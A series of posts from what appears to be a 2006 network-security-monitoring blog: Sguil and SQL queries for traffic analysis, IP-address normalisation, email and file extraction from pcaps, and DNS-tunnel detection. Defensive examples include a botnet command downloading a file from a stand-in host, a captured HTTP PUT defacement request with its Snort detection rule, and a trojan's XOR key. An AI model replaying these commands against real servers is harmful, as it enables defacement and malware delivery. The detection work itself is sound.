The Pwnion

Inspired in part by my earlier posting about The Hidden Dangers of Protocols, some of us on #snort-gui were playing with the idea of The Onion applied to security. Here are some of the headlines we came up with.

<Hanashi> "Area Man's Password Hacked After He Exchanges it for Chocolate Bar"
<Hanashi> "Commentary: I Totally Pwn!"
<Nigel_VRT> "Wireless: No Wires! What's up with that?"
<Nigel_VRT> "Undisclosed remote bug in software that some people use"
<Hanashi> "Study: Second graders way too amused by phrase 'IP'"
<helevius> "Jumbo Frames: Obese, or Just Big Boned?"
<Hanashi> "Covert Channel Discovered in IPv6: The Use of IPv6"
<Nigel_VRT> "If you don't use Microsoft Windows, you're an evil hacker. By Staff writer Will G. Ates"


What about you? Post your best funny headlines in the comments!

I love command-line perl

If you read my blog on a regular basis, you've probably figured out that my favorite tool for performing general analysis and data manipulation is perl. Preferably, perl from the command line:

% cat data.dat | perl -e '...some code...' | less

Daniel Wesemann, one of the handlers at the Internet Storm Center posted a neato article on decoding traffic to uncover hidden executable content. And guess, what it uses??

Daniel, I like your style!

Dear BoingBoing...

If you've ever checked out my blogroll, you might have noticed that I read BoingBoing on a regular basis. Most of their posts are pretty interesting, but they seem to have a chip on their collective shoulder when it comes to a certain Internet content filtering product. Their most recent post on the subject really got my attention.

In response, here is an open letter to the editors at BoingBoing.

Dear BoingBoing,

I'm right there with you when you cover issues of government-sponsored censorship. Censorship is contrary to the ideas of freedom and democracy. But it's not censorship when the administrator of a corporate or privately-owned network enforces a policy on how their network should be used. In most cases, that's just good security management. Please don't confuse the issues, because it weakens your position when you speak out about legitimate abuses.

WebSense isn't censoring you. WebSense doesn't censor anyone. All they do is categorize websites, and it's up to their individual customers to create and enforce filtering policies based on those categories. In this latest case, the site archive.org does in fact offer software downloads and is correctly categorized. And whether or not you agree with the idea, as a security pro, let me assure you that filtering such sites is a very reasonable thing to do for many organizations, especially those that have policies against installing arbitrary software.

Of course, as you're finding out, filtering technology isn't perfect. Sites are misclassified or simply not categorized at all. Filtering software can be bypassed, fooled or even brought down. That does not mean that it is worthless and evil, however. Every little bit helps, and the technology improves each day (albeit slowly).

Anyway, thanks for all your hard work on BoingBoing. I do enjoy reading most of what you write, but I hope you'll keep my points in mind next time you write a story about Internet content filters.

I answered my own question

A couple of weeks ago, I wrote about the FBI's call for help from the security community. My question then was, "How do we get in touch with the FBI to offer our help?"

It turns out not to be very difficult. The same day, I wrote the following email to my local FBI field office:

Good morning. I've been reading news articles for the past few days about FBI Cybercrime Unit Chief Daniel Larkin's speech at the Blackhat conference last week. In it, he called for assistance from the information security community. I admit that I'm not really sure exactly what sort of help is required, but I'd like to contact someone in your office in order to offer my assistance.

I've been doing IT and Cybersecurity for about 15 years, and my specialties include analyzing hacker techniques, security incident reponse and security monitoring/intrusion detection. I run my own security consulting company, which you can read about on my website (www.vorant.com).

I'd like you to know that if the need arises, I'm here to help.

To my surprise, I got an email from one of the Special Agents assigned to the cybercrime team at the local field office. We met this morning at the local coffee shop.

It turns out that the number one thing he needs is a network of people on the front line that can identify potentially-significant threats, ideally before they can become truly dangerous. New hacking techniques, novel scams and the like. As NSM/IDS people, we're likely to pick up on these sorts of things before they are otherwise widely-known, and this could provide law enforcement with a valuable heads-up.

Now, I'm not suggesting that you hand over your monitoring data to the FBI or any other agency at the slightest provocation. There are significant privacy and organizational policy concerns to be aware of. Unless you're actually reporting a crime, be careful about what you reveal. In most cases, however, there's no problem with sharing information about the technique or the possible impact of successful attack.

If you'd like to try hooking up with your local FBI field office, check out this list of field offices. Give it a try and let me know how it goes.

Tony Bradley: Reform Candidate for the ISC(2) Board

Those of you who hold the CISSP know that elections for the ISC(2) Board of Directors are coming up soon. Usually the existing Board members put forth a slate of candidates themselves, but there is a provision for an individual to be added to the ballot without the Board's approval. If the candidate can get the support of 1% of the membership on a petition, they're added to the ballot.

Today, I got the official notice that one member, Tony Bradley (CISSP-ISSAP), has elected to pursue this route. After reading his platform, I've decided to sign his petition. Here's an excerpt, which summarizes things nicely:

There are three primary components of my platform and vision for ISC2 should I be elected.

• ISC2 should work to cooperate and coordinate with other security organizations and professionals to develop a set of generally accepted information security principles.
  
• ISC2 should publicly vet the contents of the CBK in order to improve the information as well as expanding the acceptance and respect granted to those who show an understanding of the CBK through achieving the CISSP certification.
  
• Election procedures should be modified to reduce the hegemony of the sitting Board of Directors and ensure a fair election process that allows the constituents to pursue election more freely.
  

I strongly support his first two points. We're plagued with "professionals" without proper training or knowledge and "solutions" that only solve vendor cash flow problems. Common Criteria is an attempt to solve the "solutions" problem, but so far there isn't a good solution for ensuring that we're hiring competent professionals. Certifications (like the CISSP) and accreditations may be an answer, but without an industry-wide agreement on their content, it's difficult to evaluate their effectiveness.

That's where the ISC(2)'s Common Body of Knowledge (CBK) comes in. It's probably the most extensive security knowledgebase available, but it's also proprietary, and that holds it back. Having just taken the CISSP test this year, my experience with the CBK is fresh in my mind. There are parts of it that sorely need the kind of open review process Bradley proposes.

If you're an ISC(2) member, I encourage you to read Mr. Bradley's comments.

Dumbest. Seminar. Ever.

I got the following today, from a very reputable security vendor. I'm not going to name them, because I think they're otherwise pretty good, but this is really just pathetic:

The Hidden Dangers of Protocols

Protocols are the sets of rules governing the communications of network applications, such as instant messaging, peer-to-peer file sharing, and streaming media. But, protocols may allow these communications to transmit confidential information, spyware, keyloggers, worms, viruses, and other security threats into and out of your organization. Protocols may also allow users to access inappropriate applications. Plus, they may be consuming valuable network bandwidth and draining user productivity in the process!

Protocols are dangerous? I've got news for this writer: protocols put the "work" in "network". Without TCP/IP, odds are you don't have a network, and that's not counting the myriad other protocols above and below the IP level.

Clearly, the vendor (as a whole) understands the concept of protocols perfectly well. So I conclude that either they've hired an incompetent writer or editor in the marketing department, or they're taking the chance to do a little FUD-mongering. I'll be charitable and guess it's the former.

Seriously, this is the dumbest thing I've seen from a security company in quite a long time.

Decrypting XORed ICMP Packets

This morning, WebSense issued an alert about a new trojan that uses ICMP packets to send banking data back to the controller's collection site. As far as I can tell, it registers as as browser helper object (BHO) with IE, then waits for you to go to any of a predefined list of banking site login pages. When you submit your authentication data, it sends a copy back to the attacker via ICMP.

This is new in a mass-market trojan, but the technique has been known for some time (google loki ICMP to see some early work on ICMP tunnels). The interesting part is that WebSense posted a sample packet in both encrypted and decrypted form (minus a few bytes that contained personally identifiable information about the victim).

Just for fun, I decided to find the decryption key. For your reference, here is the key used to encrypt the WebSense sample packet:

60 31 75 70 73 a0 a9 91 d7 c4 09 7b 78 e9 b3 8e
89 8b 5f 6d 6f 6a 2b 53 48 54 5c b9 2c 36 63 04 
d3 1a 58 02 fa e7 d9 17 3f da db 41 bb f7 b3 83 
86 83 4e 20 7f 6d 79 07 8c 10 56 01 f6 23 d1 1a 
e0 5d XX XX XX bc 3e 13 1b 0f 01 4d bd 9f b8 92 
9e 8b 7e 22 XX XX XX XX XX XX XX b7 ca f4 eb f0 
c7 e2 08 f5 05 e5 a4 85 87 82 f6 6e 54 3f XX XX
XX XX XX f8 e6 e1 8b 90 83 8b 82 98 6d 73 60 47 
92 90 9c 7f 68 6a 7c 42 52 53 42 2f 34 37 37 04 
1d 72 68 ab 93 98 a5 97 97 94 98 fc e2 e9 e4 d3 
2a c6 da 34 54 40 5c 1c c2 04 06 67 15 a4 a0 98 
9a 1c bd 5c 71 6e b2 a2 e2 1c 49 3f 2c d7 f5 0e 
1f 5f c1 ea fc ed 10 24 cc d7 dc fe 90 ab a0 9b 
53 75 89 6a 2c 45 74 5f 5a 96 a5 3f 28 60 2c 00 
17 36 d1 f1 e9 eb 0b c1 85 95 9d e5 f7 12 34 0c 
59 56 5a a0 b3 65 64 55 56 56 03 78 0a 6d 1a fc 
f0 d5 9a 41 57 4b 52 5a 36 4f 3d 66 77 54 7e 6a 
90 cf b8 41 3e 34 ff e5 f3 cb de b2 eb f3 e9 cf 
c2 0d 1c ee ab cb e4 de 8c 65 63 a1 bd 77 69 69 
8e 92 86 6f 82 60 26 54 4c 4a 53 da 56 4a 47 6f 
4f d2 a4 25 00 00

The bold XX bytes are the ones for which the plaintext was obscured, so I couldn't easily recover those portions of the key with just the single sample packet.

Bonus points to the first reader who posts code to verify this. It's pretty simple, but a fun etude for security folks. Extra bonus points if you can confirm that all packets use the same key and/or find missing key bytes that weren't available in the sample packet. What are you waiting for?

"FBI needs hackers" -- Ok, now what?

Breaking non-news! Vnunet reports that the FBI needs hackers to help it understand and combat cybercrime. I've heard this a million times before, and not just from Blackhat last week.

So my question is what, specifically, should we be doing? I'm sure I'm not the only security pro willing to lend a hand, but how should we each go about doing it? There are plenty of us who have solid technical chops, the ability to communicate with non-technical audiences and the strong desire to use our powers for good. Has anyone successfully stepped up, and can you share your thoughts on how to get started?

Crazy Botnet Idea

I read with interest Gadi Evron's recent post, mitigating botnet C&Cs has become useless (while you're at it, read Richard Bejtlich's response, too). Gadi Evron has probably forgotten, relearned and forgotten again more things about botnets than I will ever know, so when he speaks on the subject, I pay attention.

As with most security problems, the basic issue here is that competition drives innovation. Like biological evolution, the digitial evolutionary imperative mandates that as we improve our defensive techniques, the Bad Guys also improve their offense. With the transition from amateur malware writers to professional bad actors, the pace of this evolution has already and will continue to increase dramatically.

So what can we do? First, let me make the following assertion:

Botnets are harmful both to local networks and users, and to the Internet community as a whole.
I don't think anyone would disagree with that statement. Let's follow it up with another:

Doing nothing to protect ourselves is not an option.
Now, if we accept Gadi's premise that cutting off C&C channels is harmful in the long run, where does that leave us?

The root of that premise is that long-term harm occurs because our current methods have too high an impact on botnets. By shutting off the C&C servers, we take a discernable action, forcing the botnet owners to respond or lose access to their net.

Let's think about this for a second. If we've so far fought the problem by shutting down C&C servers, it stands to reason that most of the botnet countermeasures have also evolved to deal specifically with that sort of threat. If we're able to change our response, we may gain (temporary) advantage.

So here's my crazy idea. The HoneyNet Project already has tools that dynamically modify network traffic in order to prevent outgoing attacks from their honeypots from affecting other Internet hosts. Let's repurpose this technology to act in reverse; let's use it to protect our hosts from fully participating in identified botnet C&C channels.

How would this work? I haven't worked all the details out, but I'm thinking of something like the following:

1. The attacker sends a command to a host through the C&C channel (e.g., .download http://my.bad.host/file.exe)
   
2. An anti-botnet gateway at the user's site intercepts this, and transparently modifies the packet to say something slightly different (e.g., .d0wnl04d http://my.bad.host/file.exe)
   
3. The botnet node on the compromised PC doesn't recognize this as a command, so takes no action
   
4. The attacker never realizes that he's lost control of the botnet node, because it's still participating in the C&C communication channel. Even though he's not getting any responses to some of his dangerous commands, perhaps less dangerous commands are working well, disguising the fact that we're interfering with his attacks.
   

You're probably saying to yourself, "Hey, this requires a lot of work to maintain." If so, you'd be right. We'd have to track the botnet C&C channels, analyze their command structures and somehow get updates out to the protected sites. I think of this as sort of an extension to current spyware/malware discovery processes, and we'd probably need some serious commercial support if this idea were to ever be implemented.

The point is, we've tried attacking the problem both from the C&C side (shutting down servers) and from the client side (patch management & user education). Now let's try something that more fully leverages our control over our own network infrastructure, too.

I told you it was a crazy idea.

Extracting gzipped or Unix script files from pcap data

During an incident response, it's often handy to be able to examine the actual attack traffic, and if you're using Sguil, you probably have it handy. One common situation is that an intruder has transferred files to or from your network, and you'd really like to see what's in them.

There's a great tool for extracting arbitrary files from pcap dumps, tcpxtract. Similar to the way hard drive forensic tools look through bytes on the disk to find the "magic headers" at the beginning of various types of files, tcpxtract combs through pcaps looking for file types it knows, regardless of the transport protocol used to ship them over the network. When it finds them, it writes them out to individual files for manual analysis.

Tcpxtract is a great tool for NSM practicioners, and should be in everyone's standard kit. There are a few common types of files that it doesn't support, but you can easily fix this by simply editing the tcpxtract.conf file to add support for new types if you know their magic numbers.

My friend geek00L has already blogged about adding Windows PE executable support. Now I'm here to tell you how to add support for gzipped files and Unix script files like "#!/some/file" ("#!/bin/sh" or "#!/usr/bin/perl" for example).

Just add the following two lines to the end of tcpxtract.conf:

gzip(1000000, \x1f\x8b\x08);
script(1000000, \x23\x21\x2f);

A little anti-climactic after all that buildup, wasn't it? I've had some advice that the script detection is likely to throw lots of false positives in an SSL session, so maybe you should keep it commented out until you know there are script files in the session that you need to find.

Canonicalizing funky IP addresses

I've been playing around with some phishing data recently, to see if I can correlate known phishing attempts with my outgoing network sessions in order to alert me when my users fall victim. I don't have any results to report for this yet, but I did have to do some research into canonicalizing IP addresses.

Most people don't realize this, but there are a few different IP address formats. We're using to seeing the dotted decimal quad form (e.g. "192.168.1.1") but there are others, and the phishers are using them. Thus, it behooves us to know how to work with them.

I was unable to find a comprehensive list of available formats online for some reason (if you know of one, please leave a comment!) so I examined my corpus of phishing URLs and found the following examples:

1. 192.168.1.1
   
2. 1127353292
   
3. 0x43320bcc
   
4. 192.0x43.9.3 (i.e., mixed decimal and hex quads)
   

Of course, phishers are also using normal hostnames as well, giving us at least 5 different types of possible inputs to deal with. Most of our tools use the decimal dotted quad format, so we need to normalize these formats into something useful.

Here's a Perl function that should do this for you. If you pass it any of the above formats (including the hostname), it will normalize the input and return a decimal dotted quad in string form, suitable for your favorite security tool. If it can't be converted (maybe it's a hostname that no longer resolves) the function returns undef instead.

I've wrapped this in a simple command-line tool and also incorporated it into other Perl scripts. I'm sure you'll find other uses for it as well. And hey, if you come across any other legal address formats, please let me know.

use Socket;

# Take any valid IP address or hostname and return the normalized IP address.
# Recognizes the following formats:
#     some.host.com
#     192.168.0.1
#     0x43320bcc
#     1127353292
#     192.0x1c.0x10.9  (ie, mixed decimal and hex quads)
# The function returns the string value of the IP address if successful, or
# undef if not.
#
# Warnings:  
#     1) This will return only a single address, so if the hostname resolves
#        to more than one address, you won't get them all.
#     2) It will generate a DNS query when looking up hostnames
sub normalize_funky_addrs {
    my($host) = @_;
    my($addr);

# If this is a hex address (e.g., "0x01234FAc") then first convert it to 
# decimal form
    if($host =~ m/^0x[a-fA-F0-9]+$/i) {
 $host = hex($host);
    }

# If the entire address wasn't hex, individual octets might be.  If so,
# find them and convert them.  Split the address into octets, check and 
# covert hex in each octect as necessary, then paste them all back together
# into one string and continue processing.  Yes, I could just return here,
# but I'd rather have only one function exit point.
    if($host =~ m/^([^.]+)\.([^.]+)\.([^.]+)\.([^.]+)$/) {
 ($octet1, $octet2, $octet3, $octet4) = ($1, $2, $3, $4);
 $octet1 = hex($octet1) if ($octet1 =~ m/0x/i);
 $octet2 = hex($octet2) if ($octet2 =~ m/0x/i);
 $octet3 = hex($octet3) if ($octet3 =~ m/0x/i);
 $octet4 = hex($octet4) if ($octet4 =~ m/0x/i);
 $host = "$octet1.$octet2.$octet3.$octet4";
    }

# Now we've either got a hostname, a normal IP address or an integer-form
# IP address.  We can work with any of those.
    $addr = gethostbyname($host);
    if($addr) {
 return inet_ntoa($addr);
    } else {
 return undef;
    }
}

Extracting email attachements from pcap files

From time to time, I need to examine email attachements that may have been delivered to my users, usually to see exactly what type of malware was included. Now, I could call them up and ask them if they got the message, but there are several reasons I don't like to do that. For example, I hate playing telephone tag, and I don't really want to encourage them to open the message for any reason.

Since I use Sguil, I have another option. I can extract the attachement from the network data directly. Here's how.

1. Capture the session of interest as a pcap file. If you're also using Sguil, you can probably just do a SANCP search to find the network session that contained the message as it was delivered to your SMTP server. Open it up in Ethereal, which causes the Sguil client to copy the pcap file to your analysis workstation. Close Ethereal now, because you won't be using it for this.
   
2. Once you have the pcap file, use the tcpflow tool to extract an ASCII version of the conversation. This will create two files, one for the server side of the session, and one for the client side. Here's an example, where xxx.xxx.xxx.xxx is the sending host, and zzz.zzz.zzz.zzz is your mail server:
   

   
   % tcpflow -r xxx.xxx.xxx.xxx_yyyy_zzz.zzz.zzz.zzz_25-6.raw
   % ls
   xxx.xxx.xxx.xxx_yyyy_zzz.zzz.zzz.zzz_25-6.raw
   xxx.xxx.xxx.xxx.yyyy-zzz.zzz.zzz.zzz.00025
   zzz.zzz.zzz.zzz.0025-xxx.xxx.xxx.xxx.yyyy
   

   
   The file you need to concern yourself with now is the one that ends in .00025. That's the one that contains the email message sent by the client.
   
3. Edit the *.00025 file in your favorite text editor. As it is now, it's a complete record of all the SMTP protocol events, and what you really want is just the data. The easiest thing is just to delete everything up to (but not including) the first line that starts with "Received:".
   
4. Use the following perl command to read the mail file in via stdin and dump out the decoded MIME message. The script uses the MIME::Parser module (available from CPAN) to handle MIME decoding.
   

   
   %  perl -e 'use MIME::Parser; \
   $parser = new MIME::Parser; \
   $parser->output_under("/var/tmp"); \
   $entity = $parser->parse(\*STDIN); \
   $entity->dump_skeleton;' < *25
   
   Content-type: multipart/mixed
   Effective-type: multipart/mixed
   Body-file: NONE
   Subject: Message could not be delivered
   Num-parts: 2
   --
       Content-type: text/plain
       Effective-type: text/plain
       Body-file: /var/tmp/msg-1150990039-2841-0/msg-2841-1.txt
       --
       Content-type: application/octet-stream
       Effective-type: application/octet-stream
       Body-file: /var/tmp/msg-1150990039-2841-0/letter.zip
       Recommended-filename: letter.zip
       --
   

   
   As you can see, this command creates a directory /var/tmp/msg-XXXXXXX-XXXX-0/ which contains files for each piece of the MIME multipart message, including the attachement (in this case, /var/tmp/msg-1150990039-2841-0/letter.zip).
   

Now that you've got the attachement, you can use your favorite reverse engineering tools on it to figure out exactly what you've got on your hands.

Laptop encryption? I have a better idea.

I just read an AP article from last week, entitled Encryption can save data in laptop lapses. We hear about this problem in the news all the time now: someone loses a laptop with personally identifiable information about thousands of {customers|taxpayers|veterans|others}.

This is a real problem, make no mistake, but articles like this one are starting to piss me off. Instead of talking about encryption, let me propose a much more revolutionary idea: don't put the freakin' data on the laptop in the first place!

Laptops are designed to be mobile, and are easily lost, stolen or broken. Good encryption practices are rare (hint: it's not just a matter of software, but also of implementation, policy and user acceptance). Instead of worrying about who's laptop is going to be stolen next, let's try to address the real issue: does that data really need to be stored on the laptop in the first place?

If mobile users need access to data in the field, make them VPN back to the corporate network and work on it there. And don't tell me things like, "But we need to work on the plane" because you don't. You may want to work at 26,000 feet (it's better than watching Firewall on the tiny screen), but my privacy rights outweigh your productivity crisis anytime.

Let me end this rant by saying that if your company insists on placing your customers' personal information on laptops or other mobile devices, encrypted or not, I hope they hammer you in court.

Update 2006-06-09: Finally, some mainstream coverage for this apparently radical idea! In a story entitled Why Do Laptops Schlep Such Data?, the unnamed AP author raises the question about whether carrying such data around on mobile devices is appropriate. Short answer: "No, but some people will inevitably find a way to do it anyway." No doubt this is true, and that's why routine encryption of mobile data remains important. Just don't be confused about the proper use of mobile encryption: It's not the first line of defense, it's the last. It ideally only comes into play once someone has violated corporate policy by copying data onto the device.

Unfortunately, the article does miss (badly!) on an important point. The second-to-last paragraph describes software that "shreds" data on the hard drive if the laptop is stolen. The idea behind this type of so-called protection is absurd. The laptop's OS and security software has to be running in order for this to be effective, but any competent computer thief can swap out a hard drive and copy the data with only a few moments' work.

Tracking your most active network protocols with Sguil

All you Sguil users out there might find this interesting. I wanted to figure out a way to track the top most active protocols flowing over my perimeter, where "active" in this case means "most bytes transferred either in or out of my network". This is actually a fairly simple database query, but I had a special requirement.

You see, I wanted to know not only the total number of bytes transferred, but I wanted to see it broken down by whether the traffic was entering my network or leaving my network. SANCP (Sguil's session collector) tracks bytes by source and destination, but that's not good enough. The source of one connection could be an Internet host, while the source of another connection could be a system on my own LAN. Just because SANCP records how many bytes the source host sent doesn't mean it knows whether they were entering or leaving my LAN.

Here's a SQL query that really can tell the difference:

select dst_port, 
       sum(to_mynet) as bytes_to_mynet, 
       sum(from_mynet) as bytes_from_mynet,
       sum(to_mynet + from_mynet) as total_bytes
       from
       (
          select dst_port, 
          src_bytes as from_mynet,
   dst_bytes as to_mynet
   from sancp where
   (start_time between DATE_SUB(CURDATE(), INTERVAL 1 HOUR) 
                and CURDATE())
   and (src_ip between INET_ATON("192.168.0.0") and
        INET_ATON("192.168.255.255")) and
   not (dst_ip between INET_ATON("192.168.0.0") and
        INET_ATON("192.168.255.255"))
          UNION ALL
          select dst_port, 
   dst_bytes as from_mynet,
          src_bytes as to_mynet
   from sancp where
   (start_time between DATE_SUB(CURDATE(), INTERVAL 1 HOUR) 
                and CURDATE())
   and not (src_ip between INET_ATON("192.168.0.0") and
        INET_ATON("192.168.255.255")) and
       (dst_ip between INET_ATON("192.168.0.0") and
        INET_ATON("192.168.255.255"))
       ) as test_table
       group by dst_port
       order by total_bytes desc
       limit 5;

The trick here is to do two queries, each limiting itself to either sources on the Internet or sources on my LAN. I can then use the "SELECT" statements to order the columns to reflect the direction of the data flow. In this query, the second column will always be the number of bytes flowing out of my network, and the third column will always be the number of bytes coming into my network. Of course, the first column is the destination port number, which corresponds roughly to the network protocol used.

These two queries are joined by a "UNION ALL" statement to make them into one large result set. The SQL code above treats this as a temporary table, from which the outer SELECT statement grabs it's data and does the final work of summing both incoming and outgoing data flows and creating a neat table.

The output of this query will look something like the following table. Note that I ran it against some very odd sample data, so it doesn't show a full 10 rows. Also, I messed with the numbers because I was uneasy about posting my real data here. Still, you can see what the report looks like.

+----------+---------------+-----------------+-------------+
| dst_port | bytes_to_mynet| bytes_from_mynet| total_bytes |
+----------+---------------+-----------------+-------------+
|       80 | 1816          | 51101804400     | 51101806216 |
|       22 | 1816          | 51101412328     | 51101414144 |
|      443 | 1816          | 51096413496     | 51096415312 |
|       53 | 1804400       | 18093887        | 18274327    |
+----------+---------------+-----------------+-------------+

To use this in your own network, simply change the IP addresses above to represent the beginning and ending of your own address space. As written, the query will track only a single hour of data (from 23:00 to 00:00 of the current day), but you can play with the time specification to get other reporting periods.

HTTP PUT Defacement Attempts

I've seen the number of website defacement attempts on my network rise by about 3 orders of magnitude since yesterday, as evidenced by this report:

mysql> select date(timestamp) as dt, count(*) from event
where timestamp > "2006-05-30" and signature = "HTTP PUT
Defacement Attempt" group by dt order by dt ASC;
+------------+----------+
| dt         | count(*) |
+------------+----------+
| 2006-05-30 |        3 |
| 2006-05-31 |     2006 |
| 2006-06-01 |     1301 |
+------------+----------+
3 rows in set (0.55 sec)

The count for 2006-05-30 is pretty typical (an average day sees less than 10 defacement attempts). Other analysts I've talked with don't seem to be noticing anything unusual. Is it just me?

The reason for this, it turns out, is that I've forgotten to contribute the Snort rule I wrote to detect these attacks. So here it is, in case you're interested in tracking these yourself:

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS 
(msg:"HTTP PUT Defacement Attempt"; 
flow:to_server,established; content:"PUT "; depth:4; 
classtype:web-application-attack; sid:1000003; rev:1;)

The attack itself is quite simple. The attackers simple use a built-in HTTP method designed to allow an authorized user to upload a file directly into the web space. It's not even really an exploit, since they're using the PUT method the way it was designed to be used. They're just counting on a misconfiguration that allows anyone to do it.

Here's an example:

PUT /index.html HTTP/1.0
Accept-Language: en-us;q=0.5
Translate: f
Content-Length:153
User-Agent: Microsoft Data Access Internet Publishing Provider DAV 1.1
Host: education.jlab.org

spykids spykids spykids spykids spykids spykids spykids
spykids spykids spykids spykids spykids spykids spykids 
spykids spykids spykids spykids spykid\n\n

As you can see, they're trying to replace the site's default page ("/index.html") with a page consisting entirely of their own text ("spykids" repeated several times).

There seem to be a constant low-level of these attacks on the Internet, and if your servers are configured correctly, you have nothing to worry about. Still, if you're like me, you still want to track these defacement attempts. Using my rule, now you can. I'll be submitting it to the Sourcefire Community Ruleset, so hopefully it'll show up there soon.

Update 2006-06-01 14:37: I'm not the only one who has noticed this anymore. Apparently this group has been defacing a lot of sites lately. Fortunately, I didn't notice it in the quite the way this guy did. I guess they've decided to crank up the defacement machine recently.

InfoSeCon 2006 Report

Earlier this month, I was very fortunate to be an invited speaker at InfoSeCon 2006. This was my second year speaking there, and there are two things you should know about this conference:

1. It's a small conference, because the organizers are have created an atmosphere where the speakers and attendees mingle freely, discuss issues over dinner and drinks, and actually talk rather than just attend presentations. They've built a community, and this works extraordinarily well for both speakers and attendees.
   
2. The location is spectacular. Dubrovnik is a UNESCO World Heritage Site for a reason, and it's no joke when they call it the "Pearl of the Adriatic." In fact, the location is so spectacular that the biggest danger is that your boss will want to go instead. Fight this, or you'll miss the spectacular evening events that make this very much resemble a working vacation.
   

The conference as a mixture of combined sessions and individual "Management" and "Technical" tracks. The speaker list was headed this year by two big names in the industry: Eugene Kaspersky (of Anti-Virus fame) and Marcus Ranum (of "I invented the firewall and we've pretty much all screwed it up since" fame). Mr. Kaspersky's talks were a little light on the technical content, I thought, having been written by his marketing department. Still, it was interesting to hear him speak about the relationship between malware and organized crime. Nothing that isn't already common knowledge, but he's on the cutting-edge of this fight, so just hearing his thoughts was instructive. He also spoke about the organization of his company's malware lab, but I was fairly disappointed with this, as it lacked substantive detail and mostly just emphasized the fact that they do have such a lab.

Marcus Ranum's talks were much more interesting. In fact, he was something of a lightning rod of controversy, as I understand him to be elsewhere, too. He gave a pair of talks, about the state of the security industry and about the evolution of the firewall. The overarching theme, which became a sort of conference catchphrase, was that "we're doing security wrong." Not that anyone has a comprehensive solution yet, but if the first step is admitting that we have a problem, then I think he's done his job. I don't always agree with Marcus, but after hearing him speak and spending some time with him informally, I think his points are valid.

By the way, remember when I said that the organizers try hard to create opportunities to mingle with the speakers? It works. I really appreciated the opportunity to sit down and have several conversations with Marcus. I also got to spend rather a lot of time with some friends, both new and old, in the Croatian, Slovenian and Slovakian IT industry. We prowled the midieval streets of Cavtat looking for vampire photos and listened to a restaurant full of boisterous Croatian tourists singing along with an accordian. We sailed the Adriatic and scaled the Dubrovnik city walls. We even learned a few things about the discipline of Information Security. All in all, a valuable and enjoyable trip, and I can't wait for InfoSeCon 2007!

Scan detection via network session records

I needed a quick, easy way to detect scanners on my LAN. Since I'm running Sguil, I have plenty of data about network sessions in a convenient MySQL database. I thought, why not use that?

My premise (cribbed from Snort's sfPortscan preprocessor) is that network scanning activity stands out due to it's unusually high number of failed connection attempts. In other words, most of the time the services being probed are not available, and this makes the scanner easier to spot. Here is a simple perl script I wrote that implements this type of scan detection by querying Sguil's SANCP session database.

To use it, you'll need to edit the script to modify the $HOME_NET variable. It's a snippet of SQL code, but it's very simple and documented in the comments. I'm looking for scanning activity on my own LAN, so the default is to set it to search only for activity with two local endpoints. If you are reasonably fluent in SQL, though, you can customize this to find other types of scans. There are a few other variables you can tweak (read the comments) but nothing terribly critical.

The script identifies two types of scanning activity. Portsweepers are systems that try a few different ports across a variety of addresses. For example, malware that looks around trying to find open web servers would fall into this category. On the other hand, portscanners are systems that try a lot of ports, usually on a relatively few systems. Attackers that are trying to enumerate services on a subnet would be a good example.

I haven't really tested this anywhere but a RHEL/CentOS 4 system. If you get it working on some other platform, or if you have any other comments/suggestions/improvements, please post them here.

The value of privacy

In his latest editorial, The Eternal Value of Privacy, Bruce Schneier provides a compelling answer to the question, "If you aren't doing anything wrong, what do you have to hide?"

Schneier's argument is slanted more towards the national security issues of domestic wiretaps, video surveillance and the like, but his points are also valuable from a cybersecurity perspective.

Many of us are tasked with monitoring for abuses of and intrusions into our computing infrastructure. This means collecting and analyzing data, much of which may be considered personal or private. IDS analysts especially may come into contact with the contents of personal communications such as emails, instant messages or even VOIP calls. We may see web URLs, chat room logs or forum postings detailing medical conditions, alternate lifestyles, or even employment concerns. It is our duty (and in many cases, our legal obligation) to protect this information against disclosure, even to others within our own organizations, unless there is a clear security concern which must be acted upon. Even then, discretion and need-to-know are critical.

If you're reading my blog, you're in a group of people who are likely to tackle thorny privacy issues on a regular basis. I highly recommend taking the time to read Schneier's short editorial and think about how this applies to your own situation.

A traffic-analysis approach to detecting DNS tunnels

I had the chance to see a very interesting presentation last week about DNS tunnels. I understand the concepts well enough, but I had never run into one "in the wild." I realized, however, that I probably wouldn't have noticed one in the first place, so I decided to try to do a little digging to see if I could come up with a detection mechanism.

Fortunately, I'm using Sguil to collect all my Network Security Monitoring (NSM) data. As you may know, Sguil collects (at least) three types of data:

1. Snort IDS alerts
   
2. Network session data (from SANCP)
   
3. Full content packet captures (from a 2nd instance of Snort)
   

The packet captures are not typically used for alerting purposes, leaving me with the possibility of using either an IDS signature based approach, or something using traffic analysis on the network sessions.

Some DNS tunnel detection signatures already exist (The Sourcefire community ruleset already has signatures to detect the NSTX tunnel software), but I think this approach is doomed to failure from the start. A signature-based approach would be good for detecting specific instances of DNS tunnelling software, but for real protection, a more general detection capability is required. I chose to try the traffic analysis approach instead.

I started with the assumption that there were basically three uses for DNS tunnels, to wit:

1. Data exfiltration (sending data out of the LAN)
   
2. Data infiltration (downloads to the local LAN)
   
3. Two-way interactive traffic
   

Of course, the fourth possibility is that a tunnel could be used for some combination of the above, but I left that out of the scope for now. I also ignored the possibility of two-way traffic for now, since it's harder and I'm just starting to look into this. My main goal was to identify data exfiltration by looking at "lopsided" transfers. By extension, the same technique could also be used to discover data infiltration, as I'll show.

Once I identified the types of tunnels I wanted to detect, I tried to deduce what their traffic profiles would look like. Specifically, I assumed the following:

1. At least one side of the session would be associated with port 53.
   
2. The tunnel could use either TCP or UDP (though UDP is the most likely), but since SANCP is able to construct psuedo-sessions from sessionless UDP traffic, I could effectively ignore the difference between TCP and UDP sessions.
   
3. The upload/download ratio would be lopsided. That is, the tunnel client would either be sending more data than they recieve (exfiltration) or vice versa (infiltration).
   

If you're not familiar with Sguil, just know that all the network session data is stored in a MySQL database. Although you normally access this data through the Sguil GUI, it's also easy to connect with the normal MySQL client application and send arbitrary SQL queries. I
started with this one:

 select start_time, end_time, INET_NTOA(src_ip), src_port,
 INET_NTOA(dst_ip), dst_port, ip_proto, (src_bytes / dst_bytes) as
 ratio from sancp where dst_port =  53 and start_time between
 DATE_SUB(CURDATE(), INTERVAL 7 DAY) and CURDATE()
 having ratio >= 2 order by ratio DESC LIMIT 25;  

The intent of this query is to identify at most 25 DNS sessions during the last week where the initiator (the client) sends at least twice as much data as it receives in response. Sounds good, but it is actually a bit naive. It turns out that many small transactions fit this profile, especially if the DNS server doesn't respond (the response size is 0 bytes).

